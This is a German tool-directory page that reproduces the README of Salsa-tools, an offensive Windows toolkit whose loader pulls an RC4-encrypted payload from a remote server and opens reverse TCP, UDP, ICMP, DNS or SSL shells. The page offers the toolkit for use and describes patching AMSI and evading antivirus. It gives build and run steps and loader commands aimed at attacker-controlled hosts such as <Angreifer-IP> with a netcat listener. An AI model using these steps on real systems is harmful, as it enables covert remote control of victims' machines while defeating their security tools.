Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Salsa-tools — Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY und AV-Bypass, AMSI gepatcht | Kitploit
Tools/GitHubGitHub/hackplayers/salsa-tools
Privilege EscalationVerschlüsselungs-/EntschlüsselungstoolsExploitationIDS/IPS-UmgehungLaterale BewegungShellcodePost-ExploitationCommand and ControlRed TeamingPayload-Entwicklung
GitHub
58713057vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
hackplayers/salsa-tools

Salsa-tools

Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY und AV-Bypass, AMSI gepatcht

Repository anzeigen

License

   _____       __              ______            __    
  / ___/____ _/ /________ _   /_  __/___  ____  / /____
  \__ \/ __ `/ / ___/ __ `/    / / / __ \/ __ \/ / ___/
 ___/ / /_/ / (__  ) /_/ /    / / / /_/ / /_/ / (__  ) 
/____/\__,_/_/____/\__,_/    /_/  \____/\____/_/____/  

Salsa Tools – Eine AV-sichere Reverse Shell getunkt in Bellota-Sauce

Salsa Tools ist eine Sammlung von drei verschiedenen Tools, die zusammen eine Reverse Shell unter Windows mit Steroiden ermöglichen, ohne dass für die Ausführung PowerShell benötigt wird. Um die neuesten Erkennungstechniken (AMSI) zu umgehen, wurden die meisten Komponenten ursprünglich in C# geschrieben. Salsa Tools wurde von Luis Vacas während seines Vortrags „Inmersión en la explotación tiene rima“ auf der h-c0n am 9. Februar 2019 veröffentlicht.

Funktionen

* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity     
* AV-sicher (17. Februar)
* AMSI-Patcher
* PowerShell-Ausführung 
* ...

Übersicht

Salsa-Tools besteht aus drei verschiedenen Zutaten: - EvilSalsa - EncrypterAssembly - SalseoLoader Und sein Verhalten ist wie folgt:

Einrichtung

Voraussetzungen

  • Visual Studio 2017 (oder ähnlich)
    • Microsoft.PowerShell.3.ReferenceAssemblies-Abhängigkeiten beim Kompilieren unter .NET 4.0
    • Microsoft.PowerShell.2.ReferenceAssemblies-Abhängigkeiten beim Kompilieren unter .NET 3.5
  • Python 2.7

Salsa laufen lassen

EvilSalsa kochen

   ___ __ __  ____  _            
  /  _]  |  |    || |           
 /  [_|  |  | |  | | |           
|    _]  |  | |  | | |___        
|   [_|  :  | |  | |     |       
|     |\   /  |  | |     |       
|_____| \_/  |____||_____|       
                                 
  _____  ____  _     _____  ____ 
 / ___/ /    || |   / ___/ /    |
(   \_ |  o  || |  (   \_ |  o  |
 \__  ||     || |___\__  ||     |
 /  \ ||  _  ||     /  \ ||  _  |
 \    ||  |  ||     \    ||  |  |
  \___||__|__||_____|\___||__|__|
  
[+] Das ist unser Payload
                                 

EvilSalsa ist die Schlüsselzutat dieses Rezepts. Es enthält den Payload, der auf dem System wie folgt ausgeführt wird: Sobald der Payload startet, wird System.Management.Automation.dll ausgeführt, die einen Runspace erstellt. Innerhalb dieses Runspace haben wir vier Arten von Shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Sobald EvilSalsa geladen ist, wird als erstes die Existenz von c:\windows\system32\amsi.dll überprüft. Wenn es existiert, wird es mit einer hausgemachten Variante der CyberArk- und Rastamouse-Bypasses gepatcht.

EncrypterAssembly und Evilsalsa mischen

  ______                             _            
 |  ____|                           | |           
 | |__   _ __   ___ _ __ _   _ _ __ | |_ ___ _ __ 
 |  __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
 | |____| | | | (__| |  | |_| | |_) | ||  __/ |   
 |______|_| |_|\___|_|   \__, | .__/ \__\___|_|   
     /\                   __/ | || |   | |        
    /  \   ___ ___  ___ _|___/|_|| |__ | |_   _   
   / /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |  
  / ____ \\__ \__ \  __/ | | | | | |_) | | |_| |  
 /_/    \_\___/___/\___|_| |_| |_|_.__/|_|\__, |  
                                           __/ |  
                                          |___/   
			  
 [+] Software, die den Payload mit RC4 verschlüsselt
 [+] Wir haben die Python-Version und die .exe-Version

EncrypterAssembly kann als Python-Skript oder als Exe-Binärdatei verwendet werden. Es verschlüsselt den zuvor generierten EvilSalsa.

Python-Verwendung:

python encrypterassembly.py <DATEI> <PASSWORT> <AUSGABE>

Ausführbare Datei Verwendung:

Encrypterassembly.exe <DATEI> <PASSWORT> <AUSGABE>

Den verschlüsselten EvilSalsa mit SalseoLoader auf den Tisch bringen

SalseoLoader ist dafür verantwortlich, den verschlüsselten Payload zu laden. Er kann sowohl als Bibliothek als auch als ausführbare Datei kompiliert werden. Wenn er als ausführbare Datei ausgeführt wird, müssen die gewählten Argumente beim Start der ausführbaren Datei angegeben werden. Wenn er als Bibliothek kompiliert wird, muss der Deskriptor "main" exportiert werden. Argumente werden über Umgebungsvariablen hinzugefügt.

  _____  ____  _     _____   ___   ___
 / ___/ /    || |   / ___/  /  _] /   \
(   \_ |  o  || |  (   \_  /  [_ |     |
 \__  ||     || |___\__  ||    _]|  O  |
 /  \ ||  _  ||     /  \ ||   [_ |     |
 \    ||  |  ||     \    ||     ||     |
  \___||__|__||_____|\___||_____| \___/

 _       ___    ____  ___      ___  ____
| |     /   \  /    ||   \    /  _]|    \
| |    |     ||  o  ||    \  /  [_ |  D  )
| |___ |  O  ||     ||  D  ||    _]|    /
|     ||     ||  _  ||     ||   [_ |    \
|     ||     ||  |  ||     ||     ||  .  \
|_____| \___/ |__|__||_____||_____||__|\_|

                             By: CyberVaca@HackPlayers

[+] Verwendung:

    [-] SalseoLoader.exe passwort http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
    [-] SalseoLoader.exe passwort \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
    [-] SalseoLoader.exe passwort c:\temp\elfuckingmal.txt ReverseICMP LHOST
    [-] SalseoLoader.exe passwort http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
    [-] SalseoLoader.exe passwort http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
    [-] SalseoLoader.exe passwort c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
    [-] SalseoLoader.exe passwort http://webserver.com/shellcode.txt shellcode
    [-] SalseoLoader.exe passwort http://webserver.com/silent.txt silenttrinity URL_C2C

[+] Verfügbare Payloads:

    [-] ReverseTCP  [-] ReverseDNS   [-] ReverseSSL  [-] Shellcode
    [-] ReverseUDP  [-] ReverseICMP  [-] BindTCP     [-] SilentTrinity

Tutorial

Kompilieren der Binärdateien

Laden Sie den Quellcode von GitHub herunter und kompilieren Sie EvilSalsa und SalseoLoader. Sie benötigen Visual Studio, um den Code zu kompilieren.

Kompilieren Sie diese Projekte für die Architektur der Windows-Umgebung, in der Sie sie verwenden möchten (wenn Windows x64 unterstützt, kompilieren Sie für diese Architektur).

Sie können die Architektur in Visual Studio im linken "Build"-Tab unter "Platform Target" auswählen.

(Falls Sie diese Optionen nicht finden, klicken Sie auf den "Projekt"-Tab und dann auf "-Eigenschaften")

Erstellen Sie dann beide Projekte (Build -> Build Solution) (In den Logs erscheint der Pfad zur ausführbaren Datei):

Die Backdoor vorbereiten

Zuerst müssen Sie die EvilSalsa.dll kodieren. Dazu können Sie das Python-Skript encrypterassembly.py verwenden oder das Projekt EncrypterAssembly kompilieren

Python

python EncrypterAssembly/encrypterassembly.py <DATEI> <PASSWORT> <AUSGABEDATEI>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll passwort evilsalsa.dll.txt

Windows

EncrypterAssembly.exe <DATEI> <PASSWORT> <AUSGABEDATEI>
EncrypterAssembly.exe EvilSalsa.dll passwort evilsalsa.dll.txt

Ok, jetzt haben Sie alles, was Sie brauchen, um das gesamte Salseo-Ding auszuführen: die kodierte EvilSalsa.dll und die Binärdatei von SalseoLoader. Laden Sie die SalseoLoader.exe-Binärdatei auf die Maschine hoch. Sie sollte von keinem AV erkannt werden...

Die Backdoor ausführen

Eine TCP-Reverse-Shell erhalten (Herunterladen der kodierten DLL über HTTP)

Denken Sie daran, einen nc als Reverse-Shell-Listener und einen HTTP-Server zum Bereitstellen der kodierten evilsalsa zu starten.

SalseoLoader.exe passwort http://<Angreifer-IP>/evilsalsa.dll.txt reversetcp <Angreifer-IP> <Port>

Tool herunterladen